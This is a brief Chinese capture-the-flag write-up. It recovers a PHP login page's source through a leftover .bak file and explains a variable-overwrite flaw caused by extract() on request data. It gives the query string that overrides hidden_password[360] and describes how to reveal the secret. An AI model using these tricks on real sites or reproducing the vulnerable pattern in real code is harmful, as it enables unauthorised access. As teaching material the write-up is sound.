原题如下,提示是 程序员的坏习惯
根据提示,在当前URL后加.bak,获得源码
<?php
error_reporting(0);
function auth($password, $hidden_password){
$res=0;
if (isset($password) && $password!=""){
if ( $password == $hidden_password ){
$res=1;
}
}
$_SESSION["logged"]=$res;
return $res;
}
function display($res){
$aff= "
<html>
<head>
</head>
<body>
<form action='' method='POST'>
Password
<input type='password' name='password' />
<input type='submit' value='Login' />
</form>
<h3>".htmlentities($res)."</h3>
</body>
</html>";
return $aff;
}
session_start();
if ( ! isset($_SESSION["logged"]) )
$_SESSION["logged"]=0;
$aff="";
include("config.inc.php");
$password=$_POST["password"];
echo "<pre>";
if (!ini_get("register_globals")) {
$superglobals = array($_SERVER, $_ENV,$_FILES, $_COOKIE, $_POST, $_GET);
if (isset($_SESSION)) {
array_unshift($superglobals, $_SESSION);
}
foreach ($superglobals as $superglobal) {
extract($superglobal, 0 );
}
}
echo "</pre>";
if (( isset ($password) && $password!="" && auth($password,$hidden_password[360])==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) ){
$aff=display("$hidden_password[360]");
} else {
$aff=display("Try again");
}
echo $aff;
?>
经研究发现有变量覆盖漏洞:
auth函数用来判断用户提交的password是否与程序中的hidden_password[360]相同,如果相同,则设置$_SESSION["logged"]=1,见由于hidden_password[360]可被覆盖,因此构造如下链接:
http://localhost:8080/1.php?hidden_password[360]=1
在页面打开后,提交密码为1
if (( isset ($password) && $password!="" && auth($password,$hidden_password[360])==1) || (is_array($_SESSION) && $_SESSION["logged"]==1 ) )
此句成立的条件是“用户提交密码不为空并且与hidden_password[360]相同”或者“$_SESSION["logged"]==1”
在访问上述链接后,hidden_password[360]被覆盖为1,提交的密码也为1,在函数auth中,$_SESSION["logged"]就会被设置,根据if成立的条件,此时再重新访问http://localhost:8080/1.php,即可得到$hidden_password[360]的原值